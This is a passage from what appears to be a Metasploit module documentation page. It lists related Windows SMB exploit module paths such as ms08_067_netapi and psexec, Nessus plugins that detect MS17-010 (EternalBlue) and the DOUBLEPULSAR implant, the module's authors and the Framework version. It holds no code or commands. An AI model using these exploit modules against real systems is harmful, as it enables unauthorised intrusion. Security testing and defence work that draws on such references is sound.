- exploit/windows/smb/ms08_067_netapi
- exploit/windows/smb/ms09_050_smb2_negotiate_func_index
- exploit/windows/smb/ms10_046_shortcut_icon_dllloader
- exploit/windows/smb/ms10_061_spoolss
- exploit/windows/smb/ms15_020_shortcut_icon_dllloader
- exploit/windows/smb/netidentity_xtierrpcpipe
- exploit/windows/smb/psexec
- exploit/windows/smb/timbuktu_plughntcommand_bof
- exploit/windows/smb/webexec
- exploit/netware/smb/lsass_cifs
Related Nessus plugins:
- MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya)
- MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)
- SMB Server DOUBLEPULSAR Backdoor / Implant Detection (EternalRocks)
Authors
- Equation Group
- Shadow Brokers
- zerosum0x0
- Luke Jennings
- wvu
- Jacob Robles
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.